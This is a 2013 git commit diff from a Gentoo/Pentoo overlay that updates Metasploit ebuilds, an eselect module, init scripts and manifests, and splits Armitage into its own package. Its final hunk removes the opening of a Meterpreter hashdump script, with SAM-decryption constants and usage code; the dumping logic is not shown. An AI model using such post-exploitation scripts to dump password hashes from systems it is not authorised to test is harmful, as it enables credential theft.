metasploit et al: massive update in prep for gentoo. new version of msf stable, update to eselect, armitage split out, oh my!

This commit is contained in:
Zero_Chaos 2013-04-11 22:07:03 +00:00
parent cd404e97ca
commit 6950c9c484
25 changed files with 335 additions and 1803 deletions

View file

@ -1,4 +1,5 @@
AUX metasploit.eselect-0.9 5151 SHA256 4aefdeff8b266c1340466c6802334857e3842548340bb5903aa8757a211d3fb6 SHA512 592cb69435cf622a3d81851d9bb81030f4e76e8a595eea5fea53c0b4e76cfdd75eb6cbe7258acca8bb60f8f56a6579d865af6f386973a63f59c3841c344612ac WHIRLPOOL ef645ffd938141785465408b24f60b0883bb2dcf4b4864e6317e56d3abdc627c815f33d25d60f63c288440b61c6fdda5f4144dd1d60ab4d65d5ed821668617ef
AUX metasploit.eselect-0.9-r1 5436 SHA256 53bcbc39711a8a49f5d36785612f42cd418f3b6d28c32ec8b32917fa87c4c07f SHA512 769f7ac62b4b22948fe3f0c2446426f2084c77ea8d03e587460443f3b7c508bd8e3b62f9fa385fa7196ae3a603586bb3d96e39af41ae54946e7ff6ed2442dc11 WHIRLPOOL a953f48d5c39706b88518a2dceebc2a089ef8d8a0f759ed71e7ef351c32905d313c31e2313bd9ff1c5fe412d7536842b0fea3a81e14dc6bb04a57507b79e7a7a
EBUILD eselect-metasploit-0.9-r1.ebuild 653 SHA256 19a059e2264067f2bd2b94d82d287731e5ee07958cde0d4e4965a29280d1db47 SHA512 a2a0a542b98a87d52cf349dbad2365c9aac0db975cab07d74ee2297ca6574c0a09e78b4afec53fe0f977cdfcedc180c89afb4dc3a01d7d7a2297385a31a1a70b WHIRLPOOL a311675f4ccf90f0f03aa70783bbba49d402c77bfb31ca335ef266ee689408734620ce344eb817480ab48cec25ad5bcc3591a07d9ba8f16101b8082220e1fef3
EBUILD eselect-metasploit-0.9.ebuild 650 SHA256 410adea739a778c037d5d91172d623d315808f62d31b72f2cfa62b98c39fa7cc SHA512 fbb0d87cc71a0c81334b900d2c2450f7c1408a70e19df744c414b8f2ebb57eb3eb74c53d4cfd6b390fe64e3e2b278151b6ef87dc826c17e8608edf9d0e356bd7 WHIRLPOOL c80c81113e0b926d865807df248e8034e2fd87d7c8ec5203b054e6866982664eee18e73dd1e4dbdb64711e320edce75cf9e687e80580ffe95a93974f2c780d64
AUX 91metasploit 203 SHA256 0b91f07ac952798368c8565c3dafd959683df8f5c7dfc6b01cf6ff0ed208c00d SHA512 84c85a5f5885ebfd54eeeba10688eb19cc2f1799424b14fc24e579fdf812713fb70220bd097a3c42e1bd29bf7fa421b688facc8ca5ed07bcd1d7480c080f7da8 WHIRLPOOL e6404e978c5d5d74c182740ce0e14dc45c979affb4119dcc2dfba8f72fd9ea0e12ff50b37b009313794d426df2d04b1dc4f02e3ea913f01474c93880fbb1f0ef
AUX metasploit.eselect-0.10 4986 SHA256 773cfe0908f01ab32c541080c5d9c9ade1865571af9a07e4916535a21bd85417 SHA512 efa075d98f2ef93ae127ea9c95f7ccd4e9645c53ec462dabdb7750f766358c6bbfbdfb7a1dffdc3a54576bbd9eafd3a69555392f6639b96fad6cf9e537842013 WHIRLPOOL 72b0d2409e9a5f03f46c5c0aa8c9f24129a51ed00202ef484c4d3b5495495f5d29bc154bb8ad5f5933b72fc6abd7145b2f757762de90c4357fe07517e4813f17
AUX msfrpcd.confd 370 SHA256 8b437413fb2e1d26161ce4232cb7d44cfd41d0923d18a82ac984a89a89c887f2 SHA512 88a52427233bc82dc36d8f627edee84ba6675cddcc4539bb3a28cfe6fd7fba673875d62a150dfa5314756f11a6b1a95453966b31a2ae1f9820c6ef936d463f90 WHIRLPOOL 2b704c60d06fc03ed1d65eecffd38e402342a3b4c5bb6d6817e0ed7c745944dfa38358bca5dfe5ae24cc0e0f9375cefd6b046f3630ec3c9650569b86679e52d8
AUX msfrpcd.initd 622 SHA256 d6b7f865ccd3d7795e65886e2e46ce023aa56b519c12a9f41616ff21988579c9 SHA512 953427c5b8057d017a4cc961abae82c22a5f63f41d16022c715e62d208990520b7bca37411e0007339dcc24681a0051e2f1df9f68deb359ddf5aca52d21cd588 WHIRLPOOL bff444363de9cd7f91cc5da3140eb07d8db56100f9ba357ff4e7d0604487c2aec8948ef3cb5518a8c5d53a51fc9e25228caf19d5d63bcbdfac1805d157d6a5a7
EBUILD eselect-metasploit-0.10.ebuild 804 SHA256 592d89547f01a70ce90e7dd4e4d4fd23175c7089944cc7132fc9c65bd801bf6c SHA512 5a18f2c42a7795263b7b310533b734a323648c5d9e6b6af7fa4caf419194f96d9cac36f36685b1698745eb41c76b780954531e8230d082a63c2f7cde07aadef4 WHIRLPOOL 68271c5bbdbb34a203939d3346f89c6d0c686b0bc5a2489ae031c2a0294861ad402675453470a80a5be3aa8b24c89f157b97cd542d6f7ca4324239431c4a14d8

View file

@ -0,0 +1,36 @@
# Copyright 1999-2012 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: $
EAPI=4
DESCRIPTION="eselect module for metasploit"
HOMEPAGE="http://www.pentoo.ch/"
SRC_URI=""
LICENSE="GPL-2"
SLOT="0"
KEYWORDS="~amd64 ~arm ~x86"
IUSE=""
DEPEND="app-admin/eselect
!<net-analyzer/metasploit-4.6"
RDEPEND="${DEPEND}"
S=${WORKDIR}
src_install() {
#force to use the outdated bundled version of metasm
doenvd "${FILESDIR}"/91metasploit
newinitd "${FILESDIR}"/msfrpcd.initd msfrpcd
newconfd "${FILESDIR}"/msfrpcd.confd msfrpcd
insinto /usr/share/eselect/modules
newins "${FILESDIR}/metasploit.eselect-${PV}" metasploit.eselect
}
pkg_postinst() {
elog "To switch between installed slots, execute as root:"
elog " # eselect metasploit set [slot number]"
}

View file

@ -1,29 +0,0 @@
# Copyright 1999-2012 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: $
EAPI=4
DESCRIPTION="eselect module for metasploit"
HOMEPAGE="http://www.pentoo.ch/"
SRC_URI=""
LICENSE="GPL-2"
SLOT="0"
KEYWORDS="~amd64 ~arm ~x86"
IUSE=""
DEPEND="app-admin/eselect"
RDEPEND="${DEPEND}"
S=${WORKDIR}
src_install() {
insinto /usr/share/eselect/modules
newins "${FILESDIR}/metasploit.eselect-${PV}-r1" metasploit.eselect
}
pkg_postinst() {
elog "To switch between installed slots, execute as root:"
elog " # eselect metasploit set [slot number]"
}

View file

@ -1,29 +0,0 @@
# Copyright 1999-2012 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: $
EAPI=4
DESCRIPTION="eselect module for metasploit"
HOMEPAGE="http://www.pentoo.ch/"
SRC_URI=""
LICENSE="GPL-2"
SLOT="0"
KEYWORDS="~amd64 ~arm ~x86"
IUSE=""
DEPEND="app-admin/eselect"
RDEPEND="${DEPEND}"
S=${WORKDIR}
src_install() {
insinto /usr/share/eselect/modules
newins "${FILESDIR}/metasploit.eselect-${PV}" metasploit.eselect
}
pkg_postinst() {
elog "To switch between installed slots, execute as root:"
elog " # eselect metasploit set [slot number]"
}

View file

@ -1,4 +1,4 @@
MSF_DATABASE_CONFIG=/usr/lib/metasploit/armitage.yml
MSF_DATABASE_CONFIG=/usr/lib/metasploit/config/database.yml
# needed because MSF ships an old version of metasm
# which isn't compatible with the new one

View file

@ -5,10 +5,10 @@
DESCRIPTION="Control which metaploit version is active"
MAINTAINER="zerochaos@pentoo.ch"
SVN_DATE='$Date: 2011-09-25 15:27:36 +0200 (Sun, 25 Sep 2011) $'
VERSION=$(svn_date_to_version "${SVN_DATE}")
#SVN_DATE='$Date: 2011-09-25 15:27:36 +0200 (Sun, 25 Sep 2011) $'
#VERSION=$(svn_date_to_version "${SVN_DATE}")
###WARNING: don't even think of using this insanity for a reference (but it works)
###WARNING: don't even think of using this insanity for a reference (but it works,mostly)
#base idea from kernel.eselect, get_libdir from php.eselect with --use-old from opencl.eselect
#all modified randomly until it worked, entropy is wonderful
###/WARNING
@ -40,11 +40,10 @@ remove_symlink() {
do
unlink /usr/bin/$(echo ${i} | awk -F'/' '{print $5}')
done
if [ -e ${EROOT}${MSFPATH} ]; then
unlink "${EROOT}${MSFPATH}"
fi
if [ -L /usr/bin/armitage ]; then
unlink /usr/bin/armitage
if [ -L ${EROOT}${MSFPATH} ]; then
unlink "${EROOT}${MSFPATH}" || die -q "failed to unlink ${EROOT}${MSFPATH}"
elif [ -e ${EROOT}${MSFPATH} ]; then
die -q "${EROOT}${MSFPATH} exists but is not a symlink"
fi
}
@ -65,18 +64,12 @@ set_symlink() {
do
ln -s ${i} /usr/bin/$(echo ${i} | awk -F'/' '{print $5}')
done
if [ -e /usr/$(get_libdir)/${target}/armitage ]; then
ln -s /usr/$(get_libdir)/${target}/armitage /usr/bin/armitage
fi
elif [[ -d ${EROOT}${MSFPATH}${target} ]]; then
ln -s "metasploit${target}" "${EROOT}${MSFPATH}"
for i in $(qlist metasploit | grep /usr/$(get_libdir)/${target}/msf)
do
ln -s ${i} /usr/bin/$(echo ${i} | awk -F'/' '{print $5}')
done
if [ -e /usr/$(get_libdir)/${target}/armitage ]; then
ln -s /usr/$(get_libdir)/${target}/armitage /usr/bin/armitage
fi
else
die -q "Target \"$1\" doesn't appear to be valid!"
fi

View file

@ -1,214 +0,0 @@
# -*-eselect-*- vim: ft=eselect
# Copyright 2005-2011 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2 or later
# $
DESCRIPTION="Control which metaploit version is active"
MAINTAINER="zerochaos@pentoo.ch"
SVN_DATE='$Date: 2011-09-25 15:27:36 +0200 (Sun, 25 Sep 2011) $'
VERSION=$(svn_date_to_version "${SVN_DATE}")
###WARNING: don't even think of using this insanity for a reference (but it works)
#base idea from kernel.eselect, get_libdir from php.eselect with --use-old from opencl.eselect
#all modified randomly until it worked, entropy is wonderful
###/WARNING
inherit multilib
get_libdir() {
local dir
if has lib64 $(list_libdirs); then
echo lib64
return
fi
echo lib
}
MSFPATH="/usr/$(get_libdir)/metasploit"
# find a list of metasploit symlink targets and sort them
find_targets() {
local f
for f in "${EROOT}${MSFPATH}"[[:digit:]]*; do
[[ -d ${f} ]] && basename "${f}"
done | LC_ALL=C sort
}
# remove the metasploit symlink
remove_symlink() {
for i in $(qlist metasploit | grep $(canonicalise "${EROOT}${MSFPATH}")/msf)
do
unlink /usr/bin/$(echo ${i} | awk -F'/' '{print $5}')
done
if [ -L ${EROOT}${MSFPATH} ]; then
unlink "${EROOT}${MSFPATH}" || die -q "failed to unlink ${EROOT}${MSFPATH}"
elif [ -e ${EROOT}${MSFPATH} ]; then
die -q "${EROOT}${MSFPATH} exists but is not a symlink"
fi
if [ -L /usr/bin/armitage ]; then
unlink /usr/bin/armitage || die -q "failed to unlink /usr/bin/armitage"
elif [ -e /usr/bin/armitage ]; then
die -q "/usr/bin/armitage exists but is not a symlink"
fi
}
# set the metasploit symlink
set_symlink() {
local target=$1
if is_number "${target}"; then
local targets=( $(find_targets) )
target=${targets[target-1]}
fi
if [[ -z ${target} ]]; then
die -q "Target \"$1\" doesn't appear to be valid!"
elif [[ -d ${EROOT}/usr/$(get_libdir)/${target} ]]; then
ln -s "${target}" "${EROOT}${MSFPATH}"
for i in $(qlist metasploit | grep /usr/$(get_libdir)/${target}/msf)
do
ln -s ${i} /usr/bin/$(echo ${i} | awk -F'/' '{print $5}')
done
if [ -e /usr/$(get_libdir)/${target}/armitage ]; then
ln -s /usr/$(get_libdir)/${target}/armitage /usr/bin/armitage
fi
elif [[ -d ${EROOT}${MSFPATH}${target} ]]; then
ln -s "metasploit${target}" "${EROOT}${MSFPATH}"
for i in $(qlist metasploit | grep /usr/$(get_libdir)/${target}/msf)
do
ln -s ${i} /usr/bin/$(echo ${i} | awk -F'/' '{print $5}')
done
if [ -e /usr/$(get_libdir)/${target}/armitage ]; then
ln -s /usr/$(get_libdir)/${target}/armitage /usr/bin/armitage
fi
else
die -q "Target \"$1\" doesn't appear to be valid!"
fi
}
# wrapper to safely set the symlink
set_symlink_safe() {
if [[ -L ${EROOT}${MSFPATH} ]]; then
# existing symlink
remove_symlink || die -q "Couldn't remove existing symlink"
set_symlink "$1" || die -q "Couldn't set a new symlink"
elif [[ -e ${EROOT}${MSFPATH} ]]; then
# we have something strange
die -q "${EROOT}${MSFPATH} exists but is not a symlink"
else
set_symlink "$1" || die -q "Couldn't set a new symlink"
fi
}
### show action ###
describe_show() {
echo "Show the current metasploit symlink"
}
do_show() {
write_list_start "Current metasploit symlink:"
if [[ -L ${EROOT}${MSFPATH} ]]; then
local metasploit=$(canonicalise "${EROOT}${MSFPATH}")
write_kv_list_entry "${metasploit%/}" ""
else
write_kv_list_entry "(unset)" ""
fi
}
### list action ###
describe_list() {
echo "List available metasploit symlink targets"
}
do_list() {
local i targets=( $(find_targets) )
write_list_start "Available metasploit symlink targets:"
for (( i = 0; i < ${#targets[@]}; i++ )); do
[[ ${targets[i]} = \
$(basename "$(canonicalise "${EROOT}${MSFPATH}")") ]] \
&& targets[i]=$(highlight_marker "${targets[i]}")
done
write_numbered_list -m "(none found)" "${targets[@]}"
}
### set action ###
describe_set() {
echo "Set a new metasploit symlink target"
}
describe_set_parameters() {
echo "<target>"
}
describe_set_options() {
echo "<target> : Target name or number (from 'list' action)"
echo "--use-old : If an implementation is already set, use that one instead"
}
do_set() {
local action="error"
local current=$(basename "$(canonicalise "${EROOT}${MSFPATH}")")
local available=( $(find_targets) )
local new
local opt
while [[ ${#@} -gt 0 ]] ; do
opt=$1
shift
case ${opt} in
--use-old)
if [[ -n "${current}" ]] && has "${current}" "${available[@]}"; then
action="old-implementation"
fi
;;
metasploit*)
if [[ "${action}" != "old-implementation" ]] ; then
action="set-implementation"
fi
if has ${opt} ${available[@]}; then
new="${opt}"
else
echo "You need to emerge ${opt} before you try to eselect it"
fi
;;
*)
if [[ "${action}" != "old-implementation" ]] ; then
action="set-implementation"
fi
if is_number ${opt} ; then
#targets=( $(get_implementations) )
new=${available[opt - 1]}
if [[ -z ${new} ]] ; then
die -q "Unrecognized option: ${opt}"
fi
else
die -q "Unrecognized option: ${opt}"
fi
;;
esac
done
case ${action} in
old-implementation)
set_symlink_safe ${current}
return $?
;;
set-implementation)
if [[ -n ${new} ]] ; then
set_symlink_safe ${new}
return $?
else
die -q "Please specify an implementation to set"
fi
;;
*)
die -q "Invalid usage of set action."
;;
esac
}

View file

@ -0,0 +1,2 @@
DIST armitage20130410.tgz 6242815 SHA256 8a205f36dddd553fc7c0a20c4fa353e595a326625b29dceb608cad2a8fd361af SHA512 e4d0f4372f4a698302d58bbb062b49a169a48cc3bcbce81f108d82687ecdb629207d8aff502ae3a7bec07ef65585c72eb03e889582e689cef8b5e5e6094fb857 WHIRLPOOL 06303ad6f73650b0838f81f3fa2d4680a9f5e1f3a885e6252e6cd5c717aaba69d79ee873bbbf6c0b7c67e1ace29fffe0beeeccd523d058837d409d4aa3cd1e04
EBUILD armitage-20130410.ebuild 621 SHA256 ddd0034526b8e5f67175ed23ee71c4c5d23abe168678fbdf4c380f92524cc8c1 SHA512 14503464204efceabe008f7319b50f26ed1f0530846f3d450fa32be0c97d0df10092543afd1f28ff238d9340985dbcab414192cbfd6f5c8f208efe1fa9038581 WHIRLPOOL 51e4b592b96e7937a0a24c100c9c3da60fd352b5101401bd60d89da9f6a616dc1e2159938d8ac910bd3f79e9592c20ef634a0fd455bf6fe7e6a3027cea768445

View file

@ -0,0 +1,31 @@
# Copyright 1999-2013 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: $
EAPI=5
inherit eutils
DESCRIPTION="Cyber Attack Management for Metasploit"
HOMEPAGE="http://www.fastandeasyhacking.com/"
SRC_URI="http://www.fastandeasyhacking.com/download/${PN}${PV}.tgz"
LICENSE="BSD"
SLOT="0"
KEYWORDS="~amd64 ~arm ~x86"
IUSE=""
PDEPEND="net-analyzer/metasploit[postgres]
net-analyzer/nmap
virtual/jre"
S="${WORKDIR}/${PN}"
src_install() {
dosbin armitage
dosbin teamserver
doicon armitage-logo.png
insinto /usr/sbin
doins armitage.jar cortana.jar
dodoc readme.txt
}

View file

@ -1,18 +1,5 @@
AUX 91metasploit-4.4 100 SHA256 586e817f19c43ae74bea41c3643ca276908dbece4fbfb6ddbbc6ee93d8e8dd25 SHA512 a03d3cc9aef45e98eb675ebf9aad187d4c7027b2280aeec1b1cb874222001d7222eeb51e7219c849833d59e2f9d25761cd4ea1c7cb0dbfdf2d0324ba8cf68244 WHIRLPOOL 67ef1a08fc70f2f9419338ffafbecd59012b77e7ece477b5efd05e705477ab99d17232a42b38f7270e93f6c079614814a426d595aaa16efde4f569f819b1f686
AUX 91metasploit-9999 196 SHA256 bc61578ced5ae15aee404feebd102d9da6d3f42840d765069a39ea53d9b860b7 SHA512 6a54f7d729331a84b593850e98ca80990ca8c45a0ab19e8bd202261a100b26ade1c55c61312ba1692ec9e29162fb8caa83188933763480f90ebaffe68f27bad2 WHIRLPOOL 10caf6d8f04e46b553b3a77d0d952887bae383a1cba37d6a8cbc7e54c0636fa7e8f200cc7743396b4969c46f1eb9b46058891bd1806534288b8871fd2287cd67
AUX armitage.yml 481 SHA256 2db3df7b05f28aa5ba6d6dedc32d8d1a2e24e020d6fd8aea15b2e76ed0f6ab46 SHA512 98a83f972f78ee63d241b58fbdce3171a24b2435371d46cad609f2f2ad50a5853cbfda5cf4632cfd9e69b2fb7ba3ce3c6aa765c7b44fbeb3eed868ffc068241d WHIRLPOOL ac85e47c26dcf56d69028af91513802767a2243ff52f6e031d447dfbda9120bd6436b4a0c6ab118cf3fd09dc3b47613e4e75c8ef83f4528783402bba1ab5e2ba
AUX hashdump2_script_6ac6c1d.rb 11382 SHA256 2535f9d3bac1f559b4e5d827e5847b08fe0477bbcb8585960ad45ff15ab30c63 SHA512 230f3ac021f768a2e00105c0a8b348e4b06ca16272590e9bc552b56741531feeb6e0ad44ef5ecd2cfd54e2dc67c6b5c500a81c061e847e6c43844a47e70c8fbc WHIRLPOOL dcbb80336a83a1ab0fee16b282fa4dec8c20fc00716d0d4fff6d963eb42d13671dda47732e87fe07f21b2da619fc6e14e9ba3e41f3f0eee2e10f665b5150a96a
AUX database.yml 481 SHA256 2db3df7b05f28aa5ba6d6dedc32d8d1a2e24e020d6fd8aea15b2e76ed0f6ab46 SHA512 98a83f972f78ee63d241b58fbdce3171a24b2435371d46cad609f2f2ad50a5853cbfda5cf4632cfd9e69b2fb7ba3ce3c6aa765c7b44fbeb3eed868ffc068241d WHIRLPOOL ac85e47c26dcf56d69028af91513802767a2243ff52f6e031d447dfbda9120bd6436b4a0c6ab118cf3fd09dc3b47613e4e75c8ef83f4528783402bba1ab5e2ba
AUX metasploit.icon 7630 SHA256 d197dd3b939c35d951c2cd5c19b51200ada7f8f92d90775a9eaebdccf18e3949 SHA512 569db261a3782f3874c30ccaf076be512437a9a5a9df835baf29bacec48dd76b2896e009b5ab165ba82aff72ab15d067155f257787e69c3a7cd034dafa5a9066 WHIRLPOOL 3f66eb2a3b51dc787f5da6b2fd93165fdca3e9ae391db0ea69cb0ea5c6c1d9f2d85fffbdb117da4065e0b3e29daa5b7d7e62740cd3210768aa0cfc4a63679376
AUX msfrpcd.confd 370 SHA256 8b437413fb2e1d26161ce4232cb7d44cfd41d0923d18a82ac984a89a89c887f2 SHA512 88a52427233bc82dc36d8f627edee84ba6675cddcc4539bb3a28cfe6fd7fba673875d62a150dfa5314756f11a6b1a95453966b31a2ae1f9820c6ef936d463f90 WHIRLPOOL 2b704c60d06fc03ed1d65eecffd38e402342a3b4c5bb6d6817e0ed7c745944dfa38358bca5dfe5ae24cc0e0f9375cefd6b046f3630ec3c9650569b86679e52d8
AUX msfrpcd.initd 622 SHA256 d6b7f865ccd3d7795e65886e2e46ce023aa56b519c12a9f41616ff21988579c9 SHA512 953427c5b8057d017a4cc961abae82c22a5f63f41d16022c715e62d208990520b7bca37411e0007339dcc24681a0051e2f1df9f68deb359ddf5aca52d21cd588 WHIRLPOOL bff444363de9cd7f91cc5da3140eb07d8db56100f9ba357ff4e7d0604487c2aec8948ef3cb5518a8c5d53a51fc9e25228caf19d5d63bcbdfac1805d157d6a5a7
AUX msfweb.confd 273 SHA256 006040ecd27dc0279c2bea6d69365fe1f0d66f507c039ae43720662abe9f4460 SHA512 58481d69f99bec1644188ecb5f67249c3c85c12ae65d46643c3daf42b5221f8d1b025ea318ed6d11557cbc16e50acc5eaabb99162d538518265755ebcdb042ab WHIRLPOOL 1cbb5a5ff20eb90f7db6f5523bf8834cfd5aa2c98e378408e418f388993af661273257112db2ebcd950bfa9243e9f19ba4a5262fd2bccc7cc6276658f86115bb
AUX msfweb.initd 533 SHA256 4fd9668e4b467ecfa5160e2c108ac8ace71fbeaefaf829d2f7bfb566d44bb13c SHA512 ec8eb9c09191d273417174c23d2fb1a3d27939a74b010fa33ca696bcce88e9c81d6cc1e6ebff90ea97cb6d730776364de4560db1bed10516ba4a7030e7233a53 WHIRLPOOL dec6ca3cf45ac4e6cea35266df1342b4dcdb3f813dc90820603f23e9d62ee67a9633de17d747cc12d7cb9c982e8868559896c2f8c42540a5005f485045d9730a
AUX smart_hasdump_script_6ac6c1d.rb 15510 SHA256 66dec160dd9cc2fee2f8de11bf433f40baa1f41734ecf62aca9a32e0ca8a438f SHA512 5ba223e500061828f82df71be060542c520e6c955a91c9f808f0ec99830d003469b79c0945c8cfce78ff5d37029579636f7aaa5be500df14d50ddae630c3a7c5 WHIRLPOOL 85d1bcebaa2e4de24f879da4cc29aa43185ec80ed0c331319f7189f3767a9922445cba693417f08f6dddc1d17986d7ac86d29f4902c744908066578161d180d5
DIST framework-2.7.tar.gz 5800216 SHA256 516952772aaa8982628460b927c9119850925f870903c5a131a9c9f0390cf77f SHA512 a65740c81e6c711e6661170ec0dd87919cad6c4aa3aaac08fdaa72b4825be4bea28ec09c78f818ddab7660f5b485b13f87e3175b43c625319ce89b044a40f2a0 WHIRLPOOL f309608e30488484b24555fec84e65ed0dcbeba62a69e6ec23c507dbc0fcf720551a795e2a0793886fcd38d3a9b160819c864720155f58f274577b0246f05946
DIST framework-4.4.0.tar.bz2 148529027 SHA256 ddcc7890a394d8154120a163c90b11119a0322b62d937ad1a3a14ef3fe6cf74e SHA512 dffa5dd36904d4963d0fd240f1796d43824f7df011f91d75a41f0d0ff20d942fc8a3d10495c1a0537df5b455ad7055760743e5022d742e5321b679b2d4c003df WHIRLPOOL ee0fa85a83965f75213e60aaf0174b1962841e8f10193be1cd6bea1aff561f80471c4d8892a07e65ad767587e73c4445b88149460cc5bc5509b5b096f2375b52
DIST jboss_seam_remote_command_rb 3412 SHA256 c87f1cc1b82ed105c7bf551db7e3bad0a787244c4cdd124015a3ff24cedd23df SHA512 bc1bfa174086534ef0ac3168d072209dc7c944d4ad4f9f0841c45b748bedf4eb0464d19c018ac20c6dd0c8c52cde136d4c30b407f251477c33feebf3daa4ef7d WHIRLPOOL 4478404af4df5b2f723e52907c294a6d788a50dd1c9ed6d630b8302f8cd4d4a32942599a7397574d99eb10148af75eb51c1e33ec2b762ab8dbeff9a35ce56300
DIST vbsmem-1.2.1.patch 69002 SHA256 7991a5629c562817919c9bb1c8f0a3bdcd1c63cf9b9f32f322d1d266416589d2 SHA512 c68a246ad8b06f902148a5b63d0d47571fc075109e73aad302cec56cab436ba8e377e2fe5c3760d2a6834fb48b3a0bd345fc572b02b027f393612598f6a041e0 WHIRLPOOL 87a720033db70e8a1534889ecfa811b3b2fb5bf3dee64fa798ab8065d3f8a9d448991e0d1db52b1bf7a123bd536531a6be0d98a69090dadc7921097d876ed9ea
EBUILD metasploit-2.7-r1.ebuild 1831 SHA256 0a79d6da73d6d1ef52d585674de9b7ffae4756bbd8ee524f0f9cb22a330facb8 SHA512 fb4a09d078623dd98a98dea701adfedaf94bd47ac40b9692b7494022e829658e1f3ef59ab1a83000e99792fe118c54971c1b449ab1bb8b098d9275741037794f WHIRLPOOL 5eb501477942b5c523ae206347efb4672563e6bd1f1312589d16a585d31fd1696d0a2ba4f63e635d05e86997a71352c42190ccf7be95d88026da46abcb601fd3
EBUILD metasploit-4.4.0-r1.ebuild 8501 SHA256 1224d77770f59a38805913c6a28e62469189dfe6620f8339cdf9d43a07e5885e SHA512 d1ca3507f8db1eda16946c402c9e63cb570bd63bad7337c43eb8c45fb1e232f0babfe317d71b5c625ab9c41e6979af756428141a39fe7a323b91c2ea37b7b44c WHIRLPOOL 08e68b464219b2374edefaede5f4e9b980924ef092c8cac85fd3e7cddf8968360f2f35831ea4fd2b0e7e2d255f1d25eb1df99efdfd0b3cf365659405e999e5d1
EBUILD metasploit-4.4.0.ebuild 8259 SHA256 1e617e40d11dca877e13045d068adb61be4f83474e65fba8b10602ab4c2371fb SHA512 50d4ba4d16fc0b479bad466b0482da1610313c55eac8494be3d8fbb214c1a63ece0fde6723056127e307295da39295213e06d759892690426bf2ff0ce93dab42 WHIRLPOOL 18895ff276a0a857c9c7a56f069ca61bd01b97bcd1310748c6b2f321b7dfd2712ba343dfa1be539965ee04be09864dd3bf3e26bc3ca94cf18f12f6d096f43286
EBUILD metasploit-9999.ebuild 7384 SHA256 a27747d12d6c5180ad0ca1d42ee6152c25aa387eb2a8524752c54fe2b1b56529 SHA512 7b1945a71909fce595bc7f6d599e436eb0e8dbc51b84aa2e512fb3040bba63ced9680f24d213b1e6a883c0e69fa60b0df9978878e2d42db7b353e4155594f846 WHIRLPOOL a745335a0d412542ce21b2d74afc08a9d49dfa31e0a920c88dacbb21d00bacf36d3790184f88d4c4644012a6b61fcefee640a49445bf86fc1a6e5651c5b25285
DIST framework-4.6.0.tar.bz2 49996884 SHA256 ec6dfe58cb5a897e8c8e56d919dec7c00d56fe758efd1350c2a7a3587ef538c2 SHA512 ff73ebd5e08f96d7ffb63ad59cd4fa608705a1a72f00b82ce074fc537e7037349fedf71f768a895ec4e36aabb4ae07fd6b6a0f12ff88807b8ca9202f0d770633 WHIRLPOOL 952407ce34e0d94f7a824c6a3b963c6321da9aee0626295389b1f4f7d4671b9577e5bfab8f581144696f6c4a1bb073f7b7056d8c54853dbf60a6dcb7c320b336
EBUILD metasploit-4.6.0.ebuild 6548 SHA256 13232bc6db5198248d6e303275019362ed9189d19284d5750e9d7b8537954845 SHA512 db9a51e873650a1df04e5ecf26b751a2da47630fe2eb821c2281b52f61fcf46d6e6958f3da8999668eb818eab1e10efd9f97832e7a83d7387327f1131ede2fdf WHIRLPOOL d55daba7559f4931d9f42fb25352d4948ccced63341094bbc9d3df846ac4af26250d9c22717f04e249c52470a11e439ab3a0454747eb82d1bc9dce4979cc7334
EBUILD metasploit-9999.ebuild 6550 SHA256 a786d026ba56dc773e403a836a3e02538d4b28a794cb7c9fe00b6fd93e65abd1 SHA512 98191c8747b60154654339092c5cf04f010445eb1296c5448170e4247559e93fae812f411e0b71a4ba346667e868d0573c2f1893eff15293d93a96b2b9ea13c3 WHIRLPOOL b19e60027867ce428bded81b6bdefc4f9927664c02ecf1947afd1f762bb865cb7540952d3d2bbd188e31cfaa08a917da1e4c1b137c2dd4c553e734cb0623c845

View file

@ -1,2 +0,0 @@
MSF_DATABASE_CONFIG=/usr/lib/metasploit/armitage.yml
MSF_LOCAL_LIB="/usr/lib/metasploit/lib/metasm"

View file

@ -1,398 +0,0 @@
# $Id$
# $Revision$
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
@client = client
@smb_port = 445
log_folder = nil
# Constants for SAM decryption
@sam_lmpass = "LMPASSWORD\x00"
@sam_ntpass = "NTPASSWORD\x00"
@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
@sam_numeric = "0123456789012345678901234567890123456789\x00"
@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")
@des_odd_parity = [
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
]
exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "Help menu." ],
"-l" => [ true, "Log folder to save results, if none provided default log path will be used."]
)
meter_type = client.platform
################## Function Declarations ##################
# Usage Message Function
#-------------------------------------------------------------------------------
def usage
print_line "Meterpreter Script for initial information gathering mainly"
print_line "screenshot and hashdump."
print_line(exec_opts.usage)
raise Rex::Script::Completed
end
# Wrong Meterpreter Version Message Function
#-------------------------------------------------------------------------------
def wrong_meter_version(meter = meter_type)
print_error("#{meter} version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
# Log folder creation Function
